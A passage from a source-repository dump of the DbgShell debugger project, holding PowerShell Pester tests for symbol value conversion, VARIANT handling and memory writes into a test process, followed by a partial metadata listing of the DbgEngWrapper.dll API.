) } catch { $itThrew = $true } $itThrew | Should Be $true } } ================================================ FILE: DbgShell/x64/DbgShellTest/Tests/TrickySymbolValueConversions.Tests.ps1 ================================================ Describe "TrickySymbolValueConversions" { Register-DbgValueConverterInfo { # First we're going to define converters for a set of nested types--each converter # just returns the single member of the next type in the nesting. New-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!NestingThing4' -Converter { try { $symbol = $_ $stockValue = $_.GetStockValue() return $stockValue.m_n3 } finally { } } # end 'TestNativeConsoleApp!NestingThing4' converter New-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!NestingThing3' -Converter { try { $symbol = $_ $stockValue = $_.GetStockValue() return $stockValue.m_n2 } finally { } } # end 'TestNativeConsoleApp!NestingThing3' converter New-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!NestingThing2' -Converter { try { $symbol = $_ $stockValue = $_.GetStockValue() return $stockValue.m_n1 } finally { } } # end 'TestNativeConsoleApp!NestingThing2' converter New-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!NestingThing1' -Converter { try { $symbol = $_ $stockValue = $_.GetStockValue() return $stockValue.m_blah } finally { } } # end 'TestNativeConsoleApp!NestingThing1' converter # Now we'll do something similar, but for a set of types where each nesting type # also involves inheritance (so we intermix Derived Type Detection with the Symbol # Value Conversion). New-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!DtdNestingThing4Base' -Converter { try { $symbol = $_ $stockValue = $_.GetStockValue() # We follow pointers, else the pointerness sort of breaks up the symbol # history. return $stockValue.m_p3.DbgFollowPointers() } finally { } } # end 'TestNativeConsoleApp!DtdNestingThing4Base' converter New-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!DtdNestingThing3Base' -Converter { try { $symbol = $_ $stockValue = $_.GetStockValue() return $stockValue.m_p2.DbgFollowPointers() } finally { } } # end 'TestNativeConsoleApp!DtdNestingThing3Base' converter New-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!DtdNestingThing2Base' -Converter { try { $symbol = $_ $stockValue = $_.GetStockValue() return $stockValue.m_p1.DbgFollowPointers() } finally { } } # end 'TestNativeConsoleApp!DtdNestingThing2Base' converter New-DbgValueConverterInfo -TypeName 'TestNativeConsoleApp!DtdNestingThing1Base' -Converter { try { $symbol = $_ $stockValue = $_.GetStockValue() return $stockValue.m_myInt } finally { } } # end 'TestNativeConsoleApp!DtdNestingThing1Base' converter } pushd New-TestApp -TestApp TestNativeConsoleApp -Attach -TargetName testApp -HiddenTargetWindow # If we don't have symbols, none of the other stuff will work very well... #Verify-AreEqual (Get-DbgModuleInfo TestNativeConsoleApp).SymbolType.ToString() 'PDB' try { It "can do nested Symbol Value Conversions" { $g = Get-DbgSymbol TestNativeConsoleApp!g_n4 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true $gv -eq 0x42 | Should Be $true $history = $gv.DbgGetSymbolHistory() $history.Count | Should Be 5 $history[ 1..4 ] | %{ ($_ -is [MS.Dbg.SvcRecord]) | Should Be $true } $history[ 0 ].OriginalSymbol.Name | Should Be 'm_blah' $history[ 1 ].OriginalSymbol.Name | Should Be 'm_n1' $history[ 2 ].OriginalSymbol.Name | Should Be 'm_n2' $history[ 3 ].OriginalSymbol.Name | Should Be 'm_n3' $history[ 4 ].OriginalSymbol.Name | Should Be 'g_n4' $history[ 0 ].OriginalSymbol.Type.Name | Should Be 'UInt4B' $history[ 1 ].OriginalSymbol.Type.Name | Should Be 'NestingThing1' $history[ 2 ].OriginalSymbol.Type.Name | Should Be 'NestingThing2' $history[ 3 ].OriginalSymbol.Type.Name | Should Be 'NestingThing3' $history[ 4 ].OriginalSymbol.Type.Name | Should Be 'NestingThing4' } It "can do nested Symbol Value Conversions mixed with Derived Type Detection" { $g = Get-DbgSymbol TestNativeConsoleApp!g_pDtdNestingThing4 $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true $followed = $gv.DbgFollowPointers() $followed | Should Be 0x99 $history = $followed.DbgGetSymbolHistory() $history.Count | Should Be 9 $history[ 0 ].OriginalSymbol.Name | Should Be 'm_myInt' $history[ 1 ].OriginalSymbol.Name | Should Be '(*m_p1)' $history[ 2 ].OriginalSymbol.Name | Should Be '(*m_p1)' $history[ 3 ].OriginalSymbol.Name | Should Be '(*m_p2)' $history[ 4 ].OriginalSymbol.Name | Should Be '(*m_p2)' $history[ 5 ].OriginalSymbol.Name | Should Be '(*m_p3)' $history[ 6 ].OriginalSymbol.Name | Should Be '(*m_p3)' $history[ 7 ].OriginalSymbol.Name | Should Be '(*g_pDtdNestingThing4)' $history[ 8 ].OriginalSymbol.Name | Should Be '(*g_pDtdNestingThing4)' $history[ 0 ].OriginalSymbol.Type.Name | Should Be 'UInt4B' $history[ 1 ].OriginalSymbol.Type.Name | Should Be 'DtdNestingThing1Derived' $history[ 2 ].OriginalSymbol.Type.Name | Should Be 'DtdNestingThing1Base' $history[ 3 ].OriginalSymbol.Type.Name | Should Be 'DtdNestingThing2Derived' $history[ 4 ].OriginalSymbol.Type.Name | Should Be 'DtdNestingThing2Base' $history[ 5 ].OriginalSymbol.Type.Name | Should Be 'DtdNestingThing3Derived' $history[ 6 ].OriginalSymbol.Type.Name | Should Be 'DtdNestingThing3Base' $history[ 7 ].OriginalSymbol.Type.Name | Should Be 'DtdNestingThing4Derived' $history[ 8 ].OriginalSymbol.Type.Name | Should Be 'DtdNestingThing4Base' } } finally { .kill } PostTestCheckAndResetCacheStats popd } ================================================ FILE: DbgShell/x64/DbgShellTest/Tests/ValueConverterQueries.Tests.ps1 ================================================ Describe "ValueConverterQueries" { pushd It "can query for symbol value converters" { $converterInfos = [object[]] (Get-DbgValueConverterInfo) 0 | Should Not Be $converterInfos.Count $converterInfos = [object[]] (Get-DbgValueConverterInfo 'std::vector') 2 | Should Be $converterInfos.Count $converterInfos = [object[]] (Get-DbgValueConverterInfo 'std::vector') 2 | Should Be $converterInfos.Count $converterInfos = [object[]] (Get-DbgValueConverterInfo 'std::vector') 1 | Should Be $converterInfos.Count $converterInfos = [object[]] (Get-DbgValueConverterInfo 'std::vector') 1 | Should Be $converterInfos.Count $converterInfos = [object[]] (Get-DbgValueConverterInfo 'std::vector' -ExactMatch) $converterInfos | Should BeNullOrEmpty $converterInfos = [object[]] (Get-DbgValueConverterInfo 'std::vector' -ExactMatch) 1 | Should Be $converterInfos.Count ([string]::IsNullOrEmpty( $converterInfos[ 0 ].ScopingModule )) | Should Be $true [bool] $itThrew = $false try { $converterInfos = [object[]] (Get-DbgValueConverterInfo -ExactMatch -ErrorAction Stop) } catch { $itThrew = $true } $itThrew | Should Be $true } popd } ================================================ FILE: DbgShell/x64/DbgShellTest/Tests/VariantConversion.Tests.ps1 ================================================ Describe "VariantConversion" { pushd It "can convert VARIANTs" { New-TestApp -TestApp TestNativeConsoleApp -Attach -TargetName testApp -HiddenTargetWindow # If we don't have symbols, none of the other stuff will work very well... #Verify-AreEqual (Get-DbgModuleInfo TestNativeConsoleApp).SymbolType.ToString() 'PDB' try { $g = Get-DbgSymbol TestNativeConsoleApp!g_hasVariants $g -ne $null | Should Be $true $gv = $g.get_Value() $gv.PSObject -ne $null | Should Be $true 21 | Should Be ($gv.v1) 21 | Should Be ($gv.v2) 0x123 | Should Be ($gv.v3.DbgGetPointee()) 0 | Should Be ([string]::Compare( $gv.v4, "This is my variant string.", [StringComparison]::Ordinal )) 0 | Should Be ([string]::Compare( $gv.v5.GetType().Name, "DbgNoValue", [StringComparison]::Ordinal )) } finally { .kill } } PostTestCheckAndResetCacheStats popd } ================================================ FILE: DbgShell/x64/DbgShellTest/Tests/WriteMem.Tests.ps1 ================================================ Describe "WriteMem" { pushd New-TestApp -TestApp TestNativeConsoleApp -Attach -TargetName testApp -HiddenTargetWindow # Ignore the "symbol path is empty" warning. Set-DbgSymbolPath '' 3>&1 | Out-Null # 'csp': "call stack pointer" (processor-independent) $orig = dp $csp $memCommands = @( 'eb', 'ed', 'ep' ) foreach( $memCmd in $memCommands ) { It "can write memory with $memCmd" { # Write-Host '' # Write-Host "Trying command: $memCmd" -Fore Cyan # Write-Host '' $readCmd = $memCmd.Replace( 'e', 'd' ) & $memCmd $csp 90 # <-- N.B. no '0x' or '0n'; it should be interpreted as hex. 0x90 | Should Be ((& $readCmd $csp L1)[ 0 ]) & $memCmd $csp 0x90 0x90 | Should Be ((& $readCmd $csp L1)[ 0 ]) & $memCmd $csp 0n90 90 | Should Be ((& $readCmd $csp L1)[ 0 ]) & $memCmd $csp 90 90 # <-- N.B. no '0x' or '0n'; it should be interpreted as hex. $readback = & $readCmd $csp L2 0x90 | Should Be ($readback[ 0 ]) 0x90 | Should Be ($readback[ 1 ]) [bool] $itThrew = $false try { # This should result in a parameter binding error. & $memCmd $csp @( 90, 90 ) -ErrorAction Stop } catch { $itThrew = $true } $itThrew | Should Be $true $myBytes = New-Object 'System.byte[]' -arg @( 2 ) $myBytes[ 0 ] = 0x9a $myBytes[ 1 ] = 0x9b $itThrew = $false try { # This should result in a parameter binding error. & $memCmd $csp $myBytes -ErrorAction Stop } catch { $itThrew = $true } $itThrew | Should Be $true # This should work, but those are decimal (0n91, 0n92). & $memCmd $csp -Val @( 91, 92 ) $readback = & $readCmd $csp L2 0x5b | Should Be ($readback[ 0 ]) 0x5c | Should Be ($readback[ 1 ]) # This should work. & $memCmd $csp -Val $myBytes $readback = & $readCmd $csp L2 154 | Should Be ($readback[ 0 ]) 155 | Should Be ($readback[ 1 ]) } } # end foreach( $memCmd ) .kill popd } ================================================ FILE: DbgShell/x64/Debugger/DbgEngWrapper.dll.metagen ================================================ ImageRuntimeVersion: v4.0.30319 Assembly DbgEngWrapper, Version=1.0.*, Culture=Invariant Language (Invariant Country): hash=SHA1, flags=PublicKey Assembly mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089: hash=None, flags=None Assembly Microsoft.Diagnostics.Runtime, Version=0.8.*, Culture=Invariant Language (Invariant Country): hash=None, flags=None Assembly System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089: hash=None, flags=None Assembly System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089: hash=None, flags=None Assembly System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089: hash=None, flags=None Class DbgEngWrapper.WDebugEngInterface: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Interfaces: System.IDisposable Methods: GetRaw(): PrivateScope, Public, HideBySig op_Explicit(WDebugEngInterface): PrivateScope, Public, Static, HideBySig, SpecialName op_Explicit(WDebugEngInterface): PrivateScope, Public, Static, HideBySig, SpecialName op_Explicit(WDebugEngInterface): PrivateScope, Public, Static, HideBySig, SpecialName op_Explicit(WDebugEngInterface): PrivateScope, Public, Static, HideBySig, SpecialName op_Explicit(WDebugEngInterface): PrivateScope, Public, Static, HideBySig, SpecialName op_Explicit(WDebugEngInterface): PrivateScope, Public, Static, HideBySig, SpecialName op_Explicit(WDebugEngInterface): PrivateScope, Public, Static, HideBySig, SpecialName Dispose(): PrivateScope, Public, Final, Virtual, HideBySig Class DbgEngWrapper.TlPayload_Int: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Void .ctor(Int32): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Properties: Int32 HResult 'get set' : Methods: get_HResult(): PrivateScope, Public, HideBySig, SpecialName set_HResult(Int32): PrivateScope, Public, HideBySig, SpecialName Class DbgEngWrapper.WDebugClient: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.WDebugEngInterface Void .ctor(IntPtr): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Void .ctor(IDebugClient6*): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Fields: System.Diagnostics.Tracing.EventSource g_log : Public, Static Methods: DebugCreate(WDebugClient&(Out)): PrivateScope, Public, Static, HideBySig DebugConnect(String, WDebugClient&(Out)): PrivateScope, Public, Static, HideBySig DisconnectProcessServer(UInt64): PrivateScope, Public, HideBySig GetRunningProcessSystemIds(UInt64, UInt32[]&(Out)): PrivateScope, Public, HideBySig AttachProcess(UInt64, UInt32 IsLong, DEBUG_ATTACH): PrivateScope, Public, HideBySig GetProcessOptions(DEBUG_PROCESS&(Out)): PrivateScope, Public, HideBySig AddProcessOptions(DEBUG_PROCESS): PrivateScope, Public, HideBySig RemoveProcessOptions(DEBUG_PROCESS): PrivateScope, Public, HideBySig SetProcessOptions(DEBUG_PROCESS): PrivateScope, Public, HideBySig ConnectSession(DEBUG_CONNECT_SESSION, UInt32 IsLong): PrivateScope, Public, HideBySig TerminateProcesses(): PrivateScope, Public, HideBySig DetachProcesses(): PrivateScope, Public, HideBySig EndSession(DEBUG_END): PrivateScope, Public, HideBySig GetExitCode(UInt32&(Out)): PrivateScope, Public, HideBySig DispatchCallbacks(UInt32 IsLong): PrivateScope, Public, HideBySig ExitDispatch(WDebugClient): PrivateScope, Public, HideBySig CreateClient(WDebugClient&(Out)): PrivateScope, Public, HideBySig GetInputCallbacks(IntPtr&(Out)): PrivateScope, Public, HideBySig SetInputCallbacks(IDebugInputCallbacksImp): PrivateScope, Public, HideBySig GetOutputMask(DEBUG_OUTPUT&(Out)): PrivateScope, Public, HideBySig SetOutputMask(DEBUG_OUTPUT): PrivateScope, Public, HideBySig GetOtherOutputMask(WDebugClient, DEBUG_OUTPUT&(Out)): PrivateScope, Public, HideBySig SetOtherOutputMask(WDebugClient, DEBUG_OUTPUT): PrivateScope, Public, HideBySig GetOutputWidth(UInt32&(Out)): PrivateScope, Public, HideBySig SetOutputWidth(UInt32 IsLong): PrivateScope, Public, HideBySig FlushCallbacks(): PrivateScope, Public, HideBySig EndProcessServer(UInt64): PrivateScope, Public, HideBySig WaitForProcessServerEnd(UInt32 IsLong): PrivateScope, Public, HideBySig IsKernelDebuggerEnabled(): PrivateScope, Public, HideBySig TerminateCurrentProcess(): PrivateScope, Public, HideBySig DetachCurrentProcess(): PrivateScope, Public, HideBySig AbandonCurrentProcess(): PrivateScope, Public, HideBySig GetRunningProcessSystemIdByExecutableNameWide(UInt64, String, DEBUG_GET_PROC, UInt32&(Out)): PrivateScope, Public, HideBySig GetRunningProcessDescriptionWide(UInt64, UInt32 IsLong, DEBUG_PROC_DESC, String&(Out), String&(Out)): PrivateScope, Public, HideBySig CreateProcessWide(UInt64, String, DEBUG_CREATE_PROCESS): PrivateScope, Public, HideBySig CreateProcessAndAttachWide(UInt64, String, DEBUG_CREATE_PROCESS, UInt32 IsLong, DEBUG_ATTACH): PrivateScope, Public, HideBySig OpenDumpFileWide(String, UInt64): PrivateScope, Public, HideBySig WriteDumpFileWide(String, UInt64, DEBUG_DUMP, DEBUG_FORMAT, String): PrivateScope, Public, HideBySig AddDumpInformationFileWide(String, UInt64, DEBUG_DUMP_FILE): PrivateScope, Public, HideBySig GetNumberDumpFiles(UInt32&(Out)): PrivateScope, Public, HideBySig GetDumpFileWide(UInt32 IsLong, String&(Out), UInt64&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig AttachKernelWide(DEBUG_ATTACH, String): PrivateScope, Public, HideBySig GetKernelConnectionOptionsWide(String&(Out)): PrivateScope, Public, HideBySig SetKernelConnectionOptionsWide(String): PrivateScope, Public, HideBySig StartProcessServerWide(DEBUG_CLASS, String, IntPtr): PrivateScope, Public, HideBySig ConnectProcessServerWide(String, UInt64&(Out)): PrivateScope, Public, HideBySig StartServerWide(String): PrivateScope, Public, HideBySig OutputServersWide(DEBUG_OUTCTL, String, DEBUG_SERVERS): PrivateScope, Public, HideBySig GetOutputCallbacksWide(IntPtr&(Out)): PrivateScope, Public, HideBySig SetOutputCallbacksWide(IDebugOutputCallbacksImp(In)): PrivateScope, Public, HideBySig GetOutputLinePrefixWide(String&(Out)): PrivateScope, Public, HideBySig SetOutputLinePrefixWide(String): PrivateScope, Public, HideBySig GetIdentityWide(String&(Out)): PrivateScope, Public, HideBySig OutputIdentityWide(DEBUG_OUTCTL, UInt32 IsLong, String): PrivateScope, Public, HideBySig GetEventCallbacksWide(IntPtr&(Out)): PrivateScope, Public, HideBySig SetEventCallbacksWide(IDebugEventCallbacksWideImp): PrivateScope, Public, HideBySig CreateProcess2Wide(UInt64, String, DEBUG_CREATE_PROCESS_OPTIONS&, String, String): PrivateScope, Public, HideBySig CreateProcessAndAttach2Wide(UInt64, String, DEBUG_CREATE_PROCESS_OPTIONS*, String, String, UInt32 IsLong, DEBUG_ATTACH): PrivateScope, Public, HideBySig PushOutputLinePrefixWide(String, UInt64&(Out)): PrivateScope, Public, HideBySig PopOutputLinePrefix(UInt64): PrivateScope, Public, HideBySig GetNumberInputCallbacks(UInt32&(Out)): PrivateScope, Public, HideBySig GetNumberOutputCallbacks(UInt32&(Out)): PrivateScope, Public, HideBySig GetNumberEventCallbacks(DEBUG_EVENT, UInt32&(Out)): PrivateScope, Public, HideBySig GetQuitLockStringWide(String&(Out)): PrivateScope, Public, HideBySig SetQuitLockStringWide(String): PrivateScope, Public, HideBySig SetEventContextCallbacks(IDebugEventContextCallbacksImp): PrivateScope, Public, HideBySig Class DbgEngWrapper.WDebugEngInterface: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Interfaces: System.IDisposable Methods: GetRaw(): PrivateScope, Public, HideBySig Dispose(): PrivateScope, Public, Final, Virtual, HideBySig Class DbgEngWrapper.WDebugBreakpoint: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.WDebugEngInterface Methods: GetId(UInt32&(Out)): PrivateScope, Public, HideBySig GetType(UInt32&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig GetAdder(WDebugClient&(Out)): PrivateScope, Public, HideBySig GetFlags(DEBUG_BREAKPOINT_FLAG&(Out)): PrivateScope, Public, HideBySig AddFlags(DEBUG_BREAKPOINT_FLAG): PrivateScope, Public, HideBySig RemoveFlags(DEBUG_BREAKPOINT_FLAG): PrivateScope, Public, HideBySig SetFlags(DEBUG_BREAKPOINT_FLAG): PrivateScope, Public, HideBySig GetOffset(UInt64&(Out)): PrivateScope, Public, HideBySig SetOffset(UInt64): PrivateScope, Public, HideBySig GetDataParameters(UInt32&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig SetDataParameters(UInt32 IsLong, UInt32 IsLong): PrivateScope, Public, HideBySig GetPassCount(UInt32&(Out)): PrivateScope, Public, HideBySig SetPassCount(UInt32 IsLong): PrivateScope, Public, HideBySig GetCurrentPassCount(UInt32&(Out)): PrivateScope, Public, HideBySig GetMatchThreadId(UInt32&(Out)): PrivateScope, Public, HideBySig SetMatchThreadId(UInt32 IsLong): PrivateScope, Public, HideBySig GetParameters(DEBUG_BREAKPOINT_PARAMETERS&(Out)): PrivateScope, Public, HideBySig GetCommandWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig GetCommandWide(String&(Out)): PrivateScope, Public, HideBySig SetCommandWide(String): PrivateScope, Public, HideBySig GetOffsetExpressionWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig GetOffsetExpressionWide(String&(Out)): PrivateScope, Public, HideBySig SetOffsetExpressionWide(String): PrivateScope, Public, HideBySig GetGuid(Guid&(Out)): PrivateScope, Public, HideBySig AbandonInterface(): PrivateScope, Public, HideBySig Class DbgEngWrapper.WDebugEngInterface: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Interfaces: System.IDisposable Methods: Dispose(): PrivateScope, Public, Final, Virtual, HideBySig Class DbgEngWrapper.WDebugControl: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.WDebugEngInterface Void .ctor(IntPtr): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Void .ctor(IDebugControl6*): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Methods: GetInterrupt(): PrivateScope, Public, HideBySig SetInterrupt(DEBUG_INTERRUPT(In)): PrivateScope, Public, HideBySig GetInterruptTimeout(UInt32&(Out)): PrivateScope, Public, HideBySig SetInterruptTimeout(UInt32(In) IsLong): PrivateScope, Public, HideBySig GetDisassembleEffectiveOffset(UInt64&(Out)): PrivateScope, Public, HideBySig GetNearInstruction(UInt64(In), Int32(In), UInt64&(Out)): PrivateScope, Public, HideBySig GetDebuggeeType(DEBUG_CLASS&(Out), DEBUG_CLASS_QUALIFIER&(Out)): PrivateScope, Public, HideBySig GetActualProcessorType(IMAGE_FILE_MACHINE&(Out)): PrivateScope, Public, HideBySig GetExecutingProcessorType(IMAGE_FILE_MACHINE&(Out)): PrivateScope, Public, HideBySig GetNumberProcessors(UInt32&(Out)): PrivateScope, Public, HideBySig IsPointer64Bit(): PrivateScope, Public, HideBySig GetEffectiveProcessorType(IMAGE_FILE_MACHINE&(Out)): PrivateScope, Public, HideBySig SetEffectiveProcessorType(IMAGE_FILE_MACHINE(In)): PrivateScope, Public, HideBySig GetExecutionStatus(DEBUG_STATUS&(Out)): PrivateScope, Public, HideBySig SetExecutionStatus(DEBUG_STATUS(In)): PrivateScope, Public, HideBySig GetCodeLevel(DEBUG_LEVEL&(Out)): PrivateScope, Public, HideBySig SetCodeLevel(DEBUG_LEVEL(In)): PrivateScope, Public, HideBySig GetEngineOptions(DEBUG_ENGOPT&(Out)): PrivateScope, Public, HideBySig AddEngineOptions(DEBUG_ENGOPT(In)): PrivateScope, Public, HideBySig RemoveEngineOptions(DEBUG_ENGOPT(In)): PrivateScope, Public, HideBySig SetEngineOptions(DEBUG_ENGOPT(In)): PrivateScope, Public, HideBySig GetSystemErrorControl(ERROR_LEVEL&(Out), ERROR_LEVEL&(Out)): PrivateScope, Public, HideBySig SetSystemErrorControl(ERROR_LEVEL(In), ERROR_LEVEL(In)): PrivateScope, Public, HideBySig GetNumberBreakpoints(UInt32&(Out)): PrivateScope, Public, HideBySig GetBreakpointParameters(UInt32(In) IsLong, UInt32(In) IsLong, DEBUG_BREAKPOINT_PARAMETERS[]&(Out)): PrivateScope, Public, HideBySig GetBreakpointParameters(UInt32[](In), DEBUG_BREAKPOINT_PARAMETERS[]&(Out)): PrivateScope, Public, HideBySig RemoveExtension(UInt64(In)): PrivateScope, Public, HideBySig GetNumberEventFilters(UInt32&(Out), UInt32&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig GetSpecificFilterParameters(UInt32(In) IsLong, UInt32(In) IsLong, DEBUG_SPECIFIC_FILTER_PARAMETERS[]&(Out)): PrivateScope, Public, HideBySig GetExceptionFilterParameters(UInt32(In) IsLong, UInt32(In) IsLong, DEBUG_EXCEPTION_FILTER_PARAMETERS[]&(Out)): PrivateScope, Public, HideBySig GetExceptionFilterParameters(UInt32[](In), DEBUG_EXCEPTION_FILTER_PARAMETERS[]&(Out)): PrivateScope, Public, HideBySig WaitForEvent(DEBUG_WAIT(In), UInt32(In) IsLong): PrivateScope, Public, HideBySig GetDumpFormatFlags(DEBUG_FORMAT&(Out)): PrivateScope, Public, HideBySig GetNumberTextReplacements(UInt32&(Out)): PrivateScope, Public, HideBySig RemoveTextReplacements(): PrivateScope, Public, HideBySig GetAssemblyOptions(DEBUG_ASMOPT&(Out)): PrivateScope, Public, HideBySig AddAssemblyOptions(DEBUG_ASMOPT(In)): PrivateScope, Public, HideBySig RemoveAssemblyOptions(DEBUG_ASMOPT(In)): PrivateScope, Public, HideBySig SetAssemblyOptions(DEBUG_ASMOPT(In)): PrivateScope, Public, HideBySig ControlledOutputWide(DEBUG_OUTCTL(In), DEBUG_OUTPUT(In), String(In)): PrivateScope, Public, HideBySig DisassembleWide(UInt64(In), DEBUG_DISASM(In), String&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig ExecuteWide(DEBUG_OUTCTL(In), String(In), DEBUG_EXECUTE(In)): PrivateScope, Public, HideBySig GetBreakpointByIndex2(UInt32(In) IsLong, WDebugBreakpoint&(Out)): PrivateScope, Public, HideBySig GetBreakpointById2(UInt32(In) IsLong, WDebugBreakpoint&(Out)): PrivateScope, Public, HideBySig AddBreakpoint2(DEBUG_BREAKPOINT_TYPE(In), UInt32(In) IsLong, WDebugBreakpoint&(Out)): PrivateScope, Public, HideBySig RemoveBreakpoint2(WDebugBreakpoint(In)): PrivateScope, Public, HideBySig AddExtensionWide(String(In), UInt32(In) IsLong, UInt64&(Out)): PrivateScope, Public, HideBySig GetExtensionByPathWide(String(In), UInt64&(Out)): PrivateScope, Public, HideBySig CallExtensionWide(UInt64(In), String(In), String(In)): PrivateScope, Public, HideBySig GetExtensionFunctionWide(UInt64(In), String(In), IntPtr&(Out)): PrivateScope, Public, HideBySig GetEventFilterTextWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig GetEventFilterCommandWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig SetEventFilterCommandWide(UInt32(In) IsLong, String(In)): PrivateScope, Public, HideBySig GetSpecificFilterArgumentWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig SetSpecificFilterArgumentWide(UInt32(In) IsLong, String(In)): PrivateScope, Public, HideBySig GetExceptionFilterSecondCommandWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig GetLastEventInformationWide(DEBUG_EVENT&(Out), UInt32&(Out), UInt32&(Out), DEBUG_LAST_EVENT_INFO&(Out), String&(Out)): PrivateScope, Public, HideBySig GetTextReplacementWide(String(In), String&(Out)): PrivateScope, Public, HideBySig GetTextReplacementWide(UInt32(In) IsLong, String&(Out), String&(Out)): PrivateScope, Public, HideBySig SetTextReplacementWide(String(In), String(In)): PrivateScope, Public, HideBySig GetStackTraceEx(UInt64(In), UInt64(In), UInt64(In), Int32(In), DEBUG_STACK_FRAME_EX[]&(Out)): PrivateScope, Public, HideBySig GetStackTraceEx(UInt64(In), UInt64(In), UInt64(In), DEBUG_STACK_FRAME_EX[]&(Out)): PrivateScope, Public, HideBySig GetBreakpointByGuid(Guid(In), WDebugBreakpoint&(Out)): PrivateScope, Public, HideBySig GetExecutionStatusEx(DEBUG_STATUS&(Out)): PrivateScope, Public, HideBySig GetSynchronizationStatus(UInt32&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig Class DbgEngWrapper.WDebugEngInterface: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Interfaces: System.IDisposable Methods: Dispose(): PrivateScope, Public, Final, Virtual, HideBySig Class DbgEngWrapper.WDebugSystemObjects: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.WDebugEngInterface Void .ctor(IntPtr): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Void .ctor(IDebugSystemObjects4*): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Methods: GetEventThread(UInt32&(Out)): PrivateScope, Public, HideBySig GetEventProcess(UInt32&(Out)): PrivateScope, Public, HideBySig GetCurrentThreadId(UInt32&(Out)): PrivateScope, Public, HideBySig SetCurrentThreadId(UInt32(In) IsLong): PrivateScope, Public, HideBySig GetCurrentProcessId(UInt32&(Out)): PrivateScope, Public, HideBySig SetCurrentProcessId(UInt32(In) IsLong): PrivateScope, Public, HideBySig GetNumberThreads(UInt32&(Out)): PrivateScope, Public, HideBySig GetTotalNumberThreads(UInt32&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig GetThreadIdsByIndex(UInt32(In) IsLong, UInt32(In) IsLong, UInt32[]&(Out), UInt32[]&(Out)): PrivateScope, Public, HideBySig GetCurrentThreadDataOffset(UInt64&(Out)): PrivateScope, Public, HideBySig GetCurrentThreadTeb(UInt64&(Out)): PrivateScope, Public, HideBySig GetThreadIdByTeb(UInt64(In), UInt32&(Out)): PrivateScope, Public, HideBySig GetCurrentThreadSystemId(UInt32&(Out)): PrivateScope, Public, HideBySig GetThreadIdBySystemId(UInt32(In) IsLong, UInt32&(Out)): PrivateScope, Public, HideBySig GetNumberProcesses(UInt32&(Out)): PrivateScope, Public, HideBySig GetProcessIdsByIndex(UInt32(In) IsLong, UInt32(In) IsLong, UInt32[]&(Out), UInt32[]&(Out)): PrivateScope, Public, HideBySig GetCurrentProcessDataOffset(UInt64&(Out)): PrivateScope, Public, HideBySig GetCurrentProcessPeb(UInt64&(Out)): PrivateScope, Public, HideBySig GetCurrentProcessSystemId(UInt32&(Out)): PrivateScope, Public, HideBySig GetProcessIdBySystemId(UInt32(In) IsLong, UInt32&(Out)): PrivateScope, Public, HideBySig GetCurrentProcessHandle(UInt64&(Out)): PrivateScope, Public, HideBySig GetCurrentProcessUpTime(UInt32&(Out)): PrivateScope, Public, HideBySig GetImplicitThreadDataOffset(UInt64&(Out)): PrivateScope, Public, HideBySig SetImplicitThreadDataOffset(UInt64(In)): PrivateScope, Public, HideBySig GetImplicitProcessDataOffset(UInt64&(Out)): PrivateScope, Public, HideBySig SetImplicitProcessDataOffset(UInt64(In)): PrivateScope, Public, HideBySig GetEventSystem(UInt32&(Out)): PrivateScope, Public, HideBySig GetCurrentSystemId(UInt32&(Out)): PrivateScope, Public, HideBySig SetCurrentSystemId(UInt32(In) IsLong): PrivateScope, Public, HideBySig GetNumberSystems(UInt32&(Out)): PrivateScope, Public, HideBySig GetSystemIdsByIndex(UInt32(In) IsLong, UInt32(In) IsLong, UInt32[]&(Out)): PrivateScope, Public, HideBySig GetCurrentProcessExecutableNameWide(String&(Out)): PrivateScope, Public, HideBySig Class DbgEngWrapper.WDebugEngInterface: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Interfaces: System.IDisposable Methods: Dispose(): PrivateScope, Public, Final, Virtual, HideBySig Class DbgEngWrapper.WDebugSymbols: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.WDebugEngInterface Void .ctor(IntPtr): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Void 